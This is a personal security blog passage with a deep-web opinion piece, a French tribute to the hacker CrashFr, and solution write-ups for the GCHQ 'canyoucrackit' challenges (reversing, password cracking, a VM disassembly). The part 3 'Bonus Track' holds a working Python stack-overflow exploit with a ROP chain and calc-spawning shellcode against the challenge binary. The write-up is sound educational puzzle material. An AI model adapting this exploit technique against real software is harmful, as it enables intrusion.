We can see that surfing the deep web is not as convenient and easy as the "public web" but it is possible with some patience.
In my usage, I found for now that there isn't anything on Freenet that I can't find on the internet.

The deepweb allow ways of expression, and in particular true for Freenet, that allows non censorship, complete freedom of information. This complete freedom of information comes with drawbacks for sure but you have the choice to ignore those weird/illegal/non ethical sites, nobody told you to go there in the first place.
Thus, I would mainly see Freenet as a mean to express and share information freely without censorship. It would be useful against repressing governments (China, etc) or in the current race for stupid laws (ACTA, SOPA, PIPA, HADOPI, etc, ... just die die die and kill those laws once and for all).

References

What is the Deep Web? A first trip into the abyss
The Deep Web
Wikipedia: Deep Web

dimanche 4 décembre 2011

CrashFr n'est plus :(.

Bonjour ou bonsoir,

Hier soir j'apprend la nouvelle ... juste impossible ... juste pas croyable.

Je me connecte sur la chan IRC de #hzv, une ambiance morose et un titre à faire peur: "CrashFR will never die" ... no way ...
Mes doutes, mes peurs ... j'apprend que Paolo Pinto est décédé ... fuck fuck fuck.

Paolo Pinto, aka CrashFr dans la communauté des hackers, était une figure emblématique de la scène Française.
Il a créée HackerzVoice, Sysdream et guider nombre de personnes.

Je l'ai cotoyé durant les NDH ou meets HZV, un homme au grand coeur sans aucuns doutes. Chaque personne avait sa place dans sa communauté, il n'hésitait pas à prodiguer nombres de conseil et à y consacrer de son temps lorsqu'il le pouvait.
Je le considère comme une figure à suivre, sur laquelle prendre exemple.
C'était pour moi un mentor, un exemple, un ami.

En tout cas, je ne sais comment exprimer le sentiment qui m'a envahit hier soir et l'état d'esprit dans lequel je suis. Je n'arrive toujours pas à y croire, c'est trop irréel, trop soudain, trop brutal.
Je ne sais vraiment pas quoi faire, je suis déboussolé. Lui rendre hommage? Comment? Je n'en sais absolument rien si ce n'est de ne pas oublier sa mémoire.

Il nous aura quitté sans prévenir et il ne reviendra pas ... et oh combien j'aurais souhaité prendre une autre bière et taper la discussion ...

Il restera dans nos mémoires, famille, proches, amis et personnes qui l'ont cotoyés,

m_101

samedi 3 décembre 2011

GCHQ Challenge Part 3 : www.canyoucrackit.co.uk

As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.

Hello,

Here is the final part of the GCHQ recruitment compaign.

The challenge

We are offered an executable file (compiled under cygwin ...) to analyze.

The "analysis"

The analysis was pretty straightforward.
No protections (you can look with PEiD, etc).

Open it in ImmunityDBG or IDAPro or whatsoever and reverse the code.
I won't do a detailed analysis of the ASM code.

I basically reconstructed the C code (easier to explain no? :)):
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#include <sys/socket.h>
#include <netdb.h>

#include <crypt.h>

#define SERVER_PORT 80

static const char crypted_password[] = "hqDTK7b8K2rvw";

int server_connect(char *hostname, uint32_t keys[]) {
    int retcode;
    char buffer[256] = {0};
    // socket stuffs
    int sockfd;
    struct hostent *host;
    struct sockaddr_in addr;
    // recv stuffs
    int recvBytes = 0;

    host = gethostbyname(hostname);
    if (host == 0) {
        printf("error: gethostbyname() failed\n");
        return -1;
    }

    // set up sockaddr
    memcpy(&(addr.sin_addr), host->h_addr_list[0], host->h_length);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(SERVER_PORT);

    // open socket
    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // connect to target
    retcode = connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));
    if (retcode != 0) {
        printf("error: connect(\"%s\") failed\n", hostname);
        return -1;
    }

    // construct GET request
    sprintf(buffer, "GET /%s/%x/%x/%x/key.txt HTTP/1.0\r\n\r\n", crypted_password, keys[0], keys[1], keys[2]);
    printf("request:\n\n%s", buffer);

    // send request
    retcode = send(sockfd, buffer, strlen(buffer), 0);
    if (retcode <= 0) {
        printf("error: send() failed\n");
        return -1;
    }

    // get response
    printf("response:\n\n");

    do {
        memset(buffer, 0, sizeof(buffer));
        recvBytes = recv(sockfd, buffer, sizeof(buffer) - 1, 0);
        if (recvBytes > 0)
            printf("%s", buffer);
    } while (recvBytes > 0);
    printf("\n");

    return recvBytes;
}

int main (int argc, char *argv[]) {
    FILE *fp;
    char buffer[24] = {0};
    uint32_t *ptr = (uint32_t *) buffer;
    // license stuffs
    int hasLicense;
    char *crypted;
    uint32_t keys[3] = {0};

    hasLicense = 0;
    printf("\nkeygen.exe\n\n");

    // check args
    if (argc != 2) {
        printf("usage: keygen.exe hostname\n");
        return -1;
    }

    // open license file
    fp = fopen("license.txt", "r");
    if (!fp) {
        printf("error: license.txt not found\n");
        return -1;
    }

    memset(buffer, 0, 24);
    fscanf(fp, "%s", buffer);
    fclose(fp);

    // if buffer does not begin with gchq
    // then bye
    if (*ptr != 0x71686367) {
        printf("error: license.txt invalid\n");
        return -1;
    }

    // check for password
    crypted = crypt(buffer + 4, crypted_password);
    if (strcmp(crypted, crypted_password) == 0)
        hasLicense = 1;

    printf("loading stage1 license key(s)...\n");
    keys[0] = *((uint32_t *)(buffer + 12));
    printf("loading stage2 license key(s)...\n\n");
    keys[1] = *((uint32_t *)(buffer + 16));
    keys[2] = *((uint32_t *)(buffer + 20));
    // if we don't have license
    // then bye
    if (hasLicense == 0) {
        printf("error: license.txt invalid\n");
        return -1;
    }

    return server_connect(argv[1], keys);
}

So basically, it search for a license.txt file with a specific file format which is as follow:
gchq | password | dword 0 | dword 1 | dword 2

In the ASM code you have this:
.text:00401120 loc_401120:                             ; CODE XREF: main+76 j
.text:00401120                 mov     [esp+78h+var_70], 18h
.text:00401128                 mov     [esp+78h+var_74], 0
.text:00401130                 lea     eax, [ebp+buffer]
.text:00401133                 mov     [esp+78h+var_78], eax
.text:00401136                 call    memset

We have the value 0x18 which is 24 in decimal ;).
It basically mean that you have a 24 bytes buffer which receive "gchq", the password and 3 dwords. From this we can deduce the password size: 24 - 4 - 12 = 8.

From there, we can set a jtr rule in the /etc/john/john.conf file:
# custom incremental mode
[Incremental:cyber]
File = $JOHN/alpha.chr
MinLen = 8
MaxLen = 8
CharCount = 26

We suppose the password is full alpha.

Then we have to format our hash using the standard unix format:
cyber:hqDTK7b8K2rvw:1:2:3:4:::

We bruteforce it like this:
$ john -i:cyber hash

If you've got rainbow tables or the word in your wordlist then you are lucky not to bruteforce like i had to.
It took me around 35 minutes to get the password:
$ john -show ./hash 
cyber:cyberwin:1:2:3:4:::

1 password hash cracked, 0 left

About the dwords ... where do we get them?
They give us tips:
loading stage1 license key(s)...
loading stage2 license key(s)...
So the dwords are in the first and second challenges.
Remember that there are some dwords that we don't use.

In the first challenge:
main:
    jmp short begin

key0: dd 0xa3bfc2af

; let's make some space for our buffer!
begin:
    sub esp, 0x100

In the second challenge:
    firmware: [0xd2ab1f05, 0xda13f110]

Now ce can construct the license file using the following (don't forget about little endian here if you are on x86 ;)):
printf "gchqcyberwin\xaf\xc2\xbf\xa3\x05\x1f\xab\xd2\x10\xf1\x13\xda" > license.txt

You can either compile the reversed version or use the given executable:
gcc -o reversed reversed.c -lcrypt
You will get this output:
$ ./reversed www.canyoucrackit.co.uk

keygen.exe

loading stage1 license key(s)...
loading stage2 license key(s)...

request:

GET /hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt HTTP/1.0

response:

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 05 Dec 2011 03:55:34 GMT
Connection: close
Content-Length: 315

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii">
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.
</BODY></HTML>

If you look in your browser at the following address:
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt

You will get the keyword:
Pr0t3ct!on#cyber_security@12*12.2011+

Congratz

Done, you have a congratulation message (here):


If you click on the button:


You have the following links:
                                                     Apply    

If you click on the Apply button:


And they wonder why they are lacking resources in reversers, hackers and alike ... a pay between 25, 446 and 31, 152 pounds ...
Poor pay for rare skills and working for a government agency ... not including the lies you are required to give out to your friends and so on.


Bonus Track

Oh yes, surprise, surprise, this challenge is vulnerable :).

If you reverse and read the code with care ... you'd see that the fscanf() function is susceptible to an overflow ;).

fscanf(fp, "%s", buffer);

If you read the manual:

s      Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough
              to hold the input sequence and the terminating null character ('\0'), which is added automatically.  The input string stops
              at white space or at the maximum field width, whichever occurs first.

Yep, it doesn't end at '\0' ;).
It basically end reading when you end the file or the size specification or whitespaces: "\x20\x09\x0d\x0c\x0b\x0a".

So I coded an exploit spawning a calc.
There is a limit as of the size of the payload, around 700-800 bytes which cause cygwin to have a deadlock in the fclose() call. I did not investigate further as how to bypass this restriction.

#!/usr/bin/python3

''' Gadgets '''

# gadget(s) from cygwin-1.dll

# == stack related
# pushad | retn
pushad = b'\xbc\xce\x02\x61'
# pop eax | retn
pop_eax = b'\x94\xa4\x14\x61'
# pop ebx | retn
pop_ebx = b'\xe9\x0e\x03\x61'
# pop edi | retn
pop_edi = b'\x67\x15\x11\x61'
# pop esi | pop edi | pop ebp | retn
pop_sdb = b'\xef\x8e\x06\x61'

# == memory patch
# 0x6111459f :  # MOV DWORD PTR DS:[EAX],ESI # MOV EAX,EDI # POP EBX # POP ESI # POP EDI # POP EBP # RETN
patch_at_eax = b'\x9f\x45\x11\x61'

# == stack pivots
# add esp, 8 | retn
add_esp8 = b'\x4a\xb8\x02\x61'

# == registry related
# 0x6113f7e3 :  # MOV EDX,EAX # MOV EAX,EDX # RETN
mov_da = b'\xe3\xf7\x13\x61'
# 0x6113f7e5 :  # MOV EAX,EDX # RETN
mov_ad = b'\xe5\xf7\x13\x61'
# xchg eax, ecx
xchg_ac = b'\x7b\x6f\x09\x61'
# xchg eax, edx
xchg_ad = b'\x5a\xf0\x09\x61'
# call eax
jmp_eax = b'\x9b\x9d\x13\x61' # 0x61139d9b

# gadget(s) from executable
# ret
ret = b'\x86\x10\x40\x00'


''' Exploit Section '''

junk1 = b'a' * 44
hasLicense = b'\x01\x00\x00\x00' # hasLicense
junk2 = b'b' * 12
# pop | retn
seip = b'\xa3\x14\x40\x00'  # eip
sebp = b'\x00\x02\x40\x00'  # ebp

# == rop chain: recover esp in eax
# pop esi # junk # junk # retn
prepare_regs = pop_sdb + b'\x90' * 4 + b'junk' * 2
# pop edi # pop ebp # retn
prepare_regs += pop_edi + pop_eax + pop_eax
# pop ebx
prepare_regs += pop_ebx + add_esp8
# pop eax
prepare_regs += pop_eax + jmp_eax
#
rop_get_eax = prepare_regs + pushad

# our whole rop chain, i did not include VirtualProtect payload btw
# it is equivalent to mov eax, esp | jmp eax
rop_chain = junk1 + hasLicense + junk2 + seip + sebp + rop_get_eax

# we have the following rop chain for prepare_regs
'''
|    pop esi     |
|   0x90 * 4     |  esi
|     junk       |
|     junk       |
|    pop edi     |
| addr(jmp_eax)  |  edi
| addr(jmp_eax)  |  ebp
|    pop ebx     |
| addr(add_esp8) |  ebx
|    pop eax     |
| addr(jmp_eax)  |  eax
'''

# we have the following stack after the pushad
'''
|   pop eax   |     edi
|  0x90 * 4   |     esi
|   pop eax   |     ebp
|     esp     |     esp
| add esp + 8 |     ebx
|    junk     |     edx
|    junk     |     ecx
|   jmp eax   |     eax
'''

# the registers after the execution of the constructed ropchain
'''
eax = esp
ebx = addr(add_esp8)
ecx = ecx
edx = edx
edi = addr(pop_eax)
esi = 0x90909090
ebp = addr(pop_eax)
esp = esp
'''

# now our payload
# our payload will be a calc here
calc = b'\xda\xd5\xd9\x74\x24\xf4\x5b\xba\xf3\x21\x03\x70\x31\xc9'      \
        + b'\xb1\x33\x83\xeb\xfc\x31\x53\x13\x03\xa0\x32\xe1\x85\xba'   \
        + b'\xdd\x6c\x65\x42\x1e\x0f\xef\xa7\x2f\x1d\x8b\xac\x02\x91'   \
        + b'\xdf\xe0\xae\x5a\x8d\x10\x24\x2e\x1a\x17\x8d\x85\x7c\x16'   \
        + b'\x0e\x28\x41\xf4\xcc\x2a\x3d\x06\x01\x8d\x7c\xc9\x54\xcc'   \
        + b'\xb9\x37\x96\x9c\x12\x3c\x05\x31\x16\x00\x96\x30\xf8\x0f'   \
        + b'\xa6\x4a\x7d\xcf\x53\xe1\x7c\x1f\xcb\x7e\x36\x87\x67\xd8'   \
        + b'\xe7\xb6\xa4\x3a\xdb\xf1\xc1\x89\xaf\x00\x00\xc0\x50\x33'   \
        + b'\x6c\x8f\x6e\xfc\x61\xd1\xb7\x3a\x9a\xa4\xc3\x39\x27\xbf'   \
        + b'\x17\x40\xf3\x4a\x8a\xe2\x70\xec\x6e\x13\x54\x6b\xe4\x1f'   \
        + b'\x11\xff\xa2\x03\xa4\x2c\xd9\x3f\x2d\xd3\x0e\xb6\x75\xf0'   \
        + b'\x8a\x93\x2e\x99\x8b\x79\x80\xa6\xcc\x25\x7d\x03\x86\xc7'   \
        + b'\x6a\x35\xc5\x8d\x6d\xb7\x73\xe8\x6e\xc7\x7b\x5a\x07\xf6'   \
        + b'\xf0\x35\x50\x07\xd3\x72\xae\x4d\x7e\xd2\x27\x08\xea\x67'   \
        + b'\x2a\xab\xc0\xab\x53\x28\xe1\x53\xa0\x30\x80\x56\xec\xf6'   \
        + b'\x78\x2a\x7d\x93\x7e\x99\x7e\xb6\x1c\x7c\xed\x5a\xcd\x1b'   \
        + b'\x95\xf9\x11';

egg = rop_chain + b'\x90' * 64 + calc

# write our sploit file :)
fp = open("license.txt", "wb")
fp.write(egg)
fp.close()


So as you can see this is a direct ret overwrite, it bypass the "hasLicense" but it fails to gethostbyname() because we overwrite the hostname ;).

For a security challenge ... well it was not secure :).

Conclusion

The challenges were accessible by anyone with some programming knowledge and basic reversing skills.

I am not British so I did it for "fun" ... but for those who applied for the job: they clearly are not searching for highly skilled reverser or programmers ... just the average would do I think here.
Otherwise they would have put more protections on the executables, etc.

I am quite disappointed for an entity such as GCHQ as the challenges were "phony" ...
It  was more about searching in the right place than anything else ... but well.

Anyway, I see no point in applying for such an offer:
- you can't speak about your jobs (=> Official Secrets Act)
- you can't speak about your colleagues (=> Official Secrets Act)
- you pay is too low
- you have more risks of being attacked/killed/retained as an hostage (=> in order to potentially attack and steal information from the UK Secret Service)
- if you quit GCHQ, you are stuck with a CV with a "blank" hole
- etc
I might be wrong ... but well I do not see any advantages.

Anyway, hope you had fun through this serie,

m_101

- My solutions: here

GCHQ Challenge Part 2 - http://www.canyoucrackit.co.uk/

As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.

Hello again :),

Ok folks, you managed to get to level 2.

Let's begin,

The challenge

We are presented with a JavaScript file:

//--------------------------------------------------------------------------------------------------

//

// stage 2 of 3

//

// challenge:

//   reveal the solution within VM.mem

//

// disclaimer:

//   tested in ie 9, firefox 6, chrome 14 and v8 shell (http://code.google.com/apis/v8/build.html),

//   other javascript implementations may or may not work.

//

//--------------------------------------------------------------------------------------------------



var VM = {

  

  cpu: {

    ip: 0x00,

    

    r0: 0x00,

    r1: 0x00,

    r2: 0x00,

    r3: 0x00,

    

    cs: 0x00,

    ds: 0x10,

    

    fl: 0x00,

    

    firmware: [0xd2ab1f05, 0xda13f110]

  },

  

  mem: [

    0x31, 0x04, 0x33, 0xaa, 0x40, 0x02, 0x80, 0x03, 0x52, 0x00, 0x72, 0x01, 0x73, 0x01, 0xb2, 0x50,

    0x30, 0x14, 0xc0, 0x01, 0x80, 0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    

    0x98, 0xab, 0xd9, 0xa1, 0x9f, 0xa7, 0x83, 0x83, 0xf2, 0xb1, 0x34, 0xb6, 0xe4, 0xb7, 0xca, 0xb8,

    0xc9, 0xb8, 0x0e, 0xbd, 0x7d, 0x0f, 0xc0, 0xf1, 0xd9, 0x03, 0xc5, 0x3a, 0xc6, 0xc7, 0xc8, 0xc9,

    0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9,

    0xda, 0xdb, 0xa9, 0xcd, 0xdf, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9,

    0x26, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,

    0x7d, 0x1f, 0x15, 0x60, 0x4d, 0x4d, 0x52, 0x7d, 0x0e, 0x27, 0x6d, 0x10, 0x6d, 0x5a, 0x06, 0x56,

    0x47, 0x14, 0x42, 0x0e, 0xb6, 0xb2, 0xb2, 0xe6, 0xeb, 0xb4, 0x83, 0x8e, 0xd7, 0xe5, 0xd4, 0xd9,

    0xc3, 0xf0, 0x80, 0x95, 0xf1, 0x82, 0x82, 0x9a, 0xbd, 0x95, 0xa4, 0x8d, 0x9a, 0x2b, 0x30, 0x69,

    0x4a, 0x69, 0x65, 0x55, 0x1c, 0x7b, 0x69, 0x1c, 0x6e, 0x04, 0x74, 0x35, 0x21, 0x26, 0x2f, 0x60,

    0x03, 0x4e, 0x37, 0x1e, 0x33, 0x54, 0x39, 0xe6, 0xba, 0xb4, 0xa2, 0xad, 0xa4, 0xc5, 0x95, 0xc8,

    0xc1, 0xe4, 0x8a, 0xec, 0xe7, 0x92, 0x8b, 0xe8, 0x81, 0xf0, 0xad, 0x98, 0xa4, 0xd0, 0xc0, 0x8d,

    0xac, 0x22, 0x52, 0x65, 0x7e, 0x27, 0x2b, 0x5a, 0x12, 0x61, 0x0a, 0x01, 0x7a, 0x6b, 0x1d, 0x67,

    0x75, 0x70, 0x6c, 0x1b, 0x11, 0x25, 0x25, 0x70, 0x7f, 0x7e, 0x67, 0x63, 0x30, 0x3c, 0x6d, 0x6a,

    0x01, 0x51, 0x59, 0x5f, 0x56, 0x13, 0x10, 0x43, 0x19, 0x18, 0xe5, 0xe0, 0xbe, 0xbf, 0xbd, 0xe9,

    0xf0, 0xf1, 0xf9, 0xfa, 0xab, 0x8f, 0xc1, 0xdf, 0xcf, 0x8d, 0xf8, 0xe7, 0xe2, 0xe9, 0x93, 0x8e,

    0xec, 0xf5, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    

    0x37, 0x7a, 0x07, 0x11, 0x1f, 0x1d, 0x68, 0x25, 0x32, 0x77, 0x1e, 0x62, 0x23, 0x5b, 0x47, 0x55,

    0x53, 0x30, 0x11, 0x42, 0xf6, 0xf1, 0xb1, 0xe6, 0xc3, 0xcc, 0xf8, 0xc5, 0xe4, 0xcc, 0xc0, 0xd3,

    0x85, 0xfd, 0x9a, 0xe3, 0xe6, 0x81, 0xb5, 0xbb, 0xd7, 0xcd, 0x87, 0xa3, 0xd3, 0x6b, 0x36, 0x6f,

    0x6f, 0x66, 0x55, 0x30, 0x16, 0x45, 0x5e, 0x09, 0x74, 0x5c, 0x3f, 0x29, 0x2b, 0x66, 0x3d, 0x0d,

    0x02, 0x30, 0x28, 0x35, 0x15, 0x09, 0x15, 0xdd, 0xec, 0xb8, 0xe2, 0xfb, 0xd8, 0xcb, 0xd8, 0xd1,

    0x8b, 0xd5, 0x82, 0xd9, 0x9a, 0xf1, 0x92, 0xab, 0xe8, 0xa6, 0xd6, 0xd0, 0x8c, 0xaa, 0xd2, 0x94,

    0xcf, 0x45, 0x46, 0x67, 0x20, 0x7d, 0x44, 0x14, 0x6b, 0x45, 0x6d, 0x54, 0x03, 0x17, 0x60, 0x62,

    0x55, 0x5a, 0x4a, 0x66, 0x61, 0x11, 0x57, 0x68, 0x75, 0x05, 0x62, 0x36, 0x7d, 0x02, 0x10, 0x4b,

    0x08, 0x22, 0x42, 0x32, 0xba, 0xe2, 0xb9, 0xe2, 0xd6, 0xb9, 0xff, 0xc3, 0xe9, 0x8a, 0x8f, 0xc1,

    0x8f, 0xe1, 0xb8, 0xa4, 0x96, 0xf1, 0x8f, 0x81, 0xb1, 0x8d, 0x89, 0xcc, 0xd4, 0x78, 0x76, 0x61,

    0x72, 0x3e, 0x37, 0x23, 0x56, 0x73, 0x71, 0x79, 0x63, 0x7c, 0x08, 0x11, 0x20, 0x69, 0x7a, 0x14,

    0x68, 0x05, 0x21, 0x1e, 0x32, 0x27, 0x59, 0xb7, 0xcf, 0xab, 0xdd, 0xd5, 0xcc, 0x97, 0x93, 0xf2,

    0xe7, 0xc0, 0xeb, 0xff, 0xe9, 0xa3, 0xbf, 0xa1, 0xab, 0x8b, 0xbb, 0x9e, 0x9e, 0x8c, 0xa0, 0xc1,

    0x9b, 0x5a, 0x2f, 0x2f, 0x4e, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

  ],

  

  exec: function()

  {

    // virtual machine architecture

    // ++++++++++++++++++++++++++++

    //

    // segmented memory model with 16-byte segment size (notation seg:offset)

    //

    // 4 general-purpose registers (r0-r3)

    // 2 segment registers (cs, ds equiv. to r4, r5)

    // 1 flags register (fl)

    //

    // instruction encoding

    // ++++++++++++++++++++

    //

    //           byte 1               byte 2 (optional)

    // bits      [ 7 6 5 4 3 2 1 0 ]  [ 7 6 5 4 3 2 1 0 ]

    // opcode      - - -             

    // mod               -           

    // operand1            - - - -

    // operand2                         - - - - - - - -

    //

    // operand1 is always a register index

    // operand2 is optional, depending upon the instruction set specified below

    // the value of mod alters the meaning of any operand2

    //   0: operand2 = reg ix

    //   1: operand2 = fixed immediate value or target segment (depending on instruction)

    //

    // instruction set

    // +++++++++++++++

    // 

    // Notes:

    //   * r1, r2 => operand 1 is register 1, operand 2 is register 2

    //   * movr r1, r2 => move contents of register r2 into register r1

    // 

    // opcode | instruction | operands (mod 0) | operands (mod 1)

    // -------+-------------+------------------+-----------------

    // 0x00   | jmp         | r1               | r2:r1

    // 0x01   | movr        | r1, r2           | rx,   imm 

    // 0x02   | movm        | r1, [ds:r2]      | [ds:r1], r2

    // 0x03   | add         | r1, r2           | r1,   imm

    // 0x04   | xor         | r1, r2           | r1,   imm 

    // 0x05   | cmp         | r1, r2           | r1,   imm 

    // 0x06   | jmpe        | r1               | r2:r1

    // 0x07   | hlt         | N/A              | N/A

    //

    // flags

    // +++++

    // 

    // cmp r1, r2 instruction results in:

    //   r1 == r2 => fl = 0

    //   r1 < r2  => fl = 0xff

    //   r1 > r2  => fl = 1

    // 

    // jmpe r1

    //   => if (fl == 0) jmp r1

    //      else nop

    

    throw "VM.exec not yet implemented";

  }

  

};



//--------------------------------------------------------------------------------------------------



try

{

  VM.exec();

}

catch(e)

{

  alert('\nError: ' + e + '\n');

}



//--------------------------------------------------------------------------------------------------

Okay, the challenge consist in implementing a virtual CPU that will be able to execute the bytecode and decrypt the parts that interest us.

The VM

Hell, I am not a Web guy so I do not master JavaScript ... who said I had to use JavaScript?
Thus I coded my VM in C, it is included in the archive at the end of the post (600-700 lines of code is too much for a post :)).

I implemented the VM, a disassembler and some debug stuffs.


The disassembled byte code

Before executing any code:

== DISASM (before)
0x0000: movr r1, 4
0x0002: movr r3, 170
0x0004: movm r0, [ds:r2]
0x0006: xor r0, r3
0x0008: movm [ds:r2], r0
0x000a: add r2, 1
0x000c: add r3, 1
0x000e: cmp r2, 80
0x0010: movr r0, 20
0x0012: jmpe r0
0x0013: jmp r1
0x0014: xor r0, r0
0x0016: jmp 16:r0
0x0018: jmp r0
0x0019: jmp r0
0x001a: jmp r0
[...]
0x00fa: jmp r0
0x00fb: jmp r0
0x00fc: jmp r0
0x00fd: jmp r0
0x00fe: jmp r0
0x00ff: jmp r0
0x0100: xor r0, 171
0x0102: jmpe 161:r1
0x0104: invalid
0x0106: xor r3, r3
0x0108: hlt
0x0109: cmp r1, 52
0x010b: invalid
0x010d: invalid
0x010f: cmp r0, 201
0x0111: cmp r0, 14
0x0113: cmp ds, 125
0x0115: invalid
0x0116: jmpe r0
0x0117: hlt
0x0118: jmpe 3:r1
0x011a: invalid
0x011b: movr r2, 198
0x011d: invalid
0x011e: jmpe r0
0x011f: jmpe r1
0x0120: jmpe r2
0x0121: jmpe r3
0x0122: invalid
0x0123: invalid
0x0124: invalid
0x0125: invalid

As you can see you have a first loop from address 0x0 to 0x16.
The second loop is completely junk as we have invalid instructions.

The first loop will loop till r2 is 80.
Basically, it will decode 80 bytes of the "data section" with keys ranging from 170 to 250.
The data section is located at offset 256 and the code section at offset 0.
Once we decrypted 80 bytes, we change our code section so it points at offset 256.
We basically decoded a second payload.

The code at the end:

== DISASM (after)
0x0000: movr r1, 4
0x0002: movr r3, 170
0x0004: movm r0, [ds:r2]
0x0006: xor r0, r3
0x0008: movm [ds:r2], r0
0x000a: add r2, 1
0x000c: add r3, 1
0x000e: cmp r2, 80
0x0010: movr r0, 20
0x0012: jmpe r0
0x0013: jmp r1
0x0014: xor r0, r0
0x0016: jmp 16:r0
0x0018: jmp r0
0x0019: jmp r0
0x001a: jmp r0
[...]
0x00fa: jmp r0
0x00fb: jmp r0
0x00fc: jmp r0
0x00fd: jmp r0
0x00fe: jmp r0
0x00ff: jmp r0
0x0100: movr r2, 0
0x0102: add ds, 12
0x0104: movr r1, 8
0x0106: movr r3, 50
0x0108: movm r0, [ds:r2]
0x010a: xor r0, r3
0x010c: movm [ds:r2], r0
0x010e: add r2, 1
0x0110: add r3, 3
0x0112: cmp r2, 0
0x0114: jmpe r3
0x0115: cmp r0, 0
0x0117: movr r0, 27
0x0119: jmpe r0
0x011a: jmp r1
0x011b: hlt
0x011c: jmp r0
0x011d: jmp r0
[...]
0x0130: jmp r0
0x0131: jmp r0
0x0132: add ds, 16
0x0134: jmp r1
0x0135: jmp r0
0x0136: jmp r0
0x0137: jmp r0
0x0138: jmp r0
0x0139: jmp r0
0x013a: jmp r0
0x013b: jmp r0
0x013c: jmp r0
0x013d: jmp r0
0x013e: jmp r0
0x013f: jmp r0
0x0140: invalid
0x0141: jmp r0
0x0142: jmp r0
0x0143: jmp r0
0x0144: jmp r0
0x0145: jmp r0
0x0146: jmp r0
0x0147: jmp r0
0x0148: jmp r0

Now at offset 0x100, we can see our decoded payload.
It is a second decoding loop ;).
It changes ds so it points to the encoded payload.
It stop decoding as soon as it reaches the end of the decoded string: '\0'.

The thing is ... we still have 256 bytes that we have no idea of what it is as we can seen from the dumps.
 28 : 0x1c0 : 47 45 54 20 2f 64 61 37 35 33 37 30 66 65 31 35 | GET /da75370fe15
 29 : 0x1d0 : 63 34 31 34 38 62 64 34 63 65 65 63 38 36 31 66 | c4148bd4ceec861f
 30 : 0x1e0 : 62 64 61 61 35 2e 65 78 65 20 48 54 54 50 2f 31 | bdaa5.exe HTTP/1
 31 : 0x1f0 : 2e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .0..............
 32 : 0x200 : 37 7a 07 11 1f 1d 68 25 32 77 1e 62 23 5b 47 55 | 7z....h%2w.b#[GU
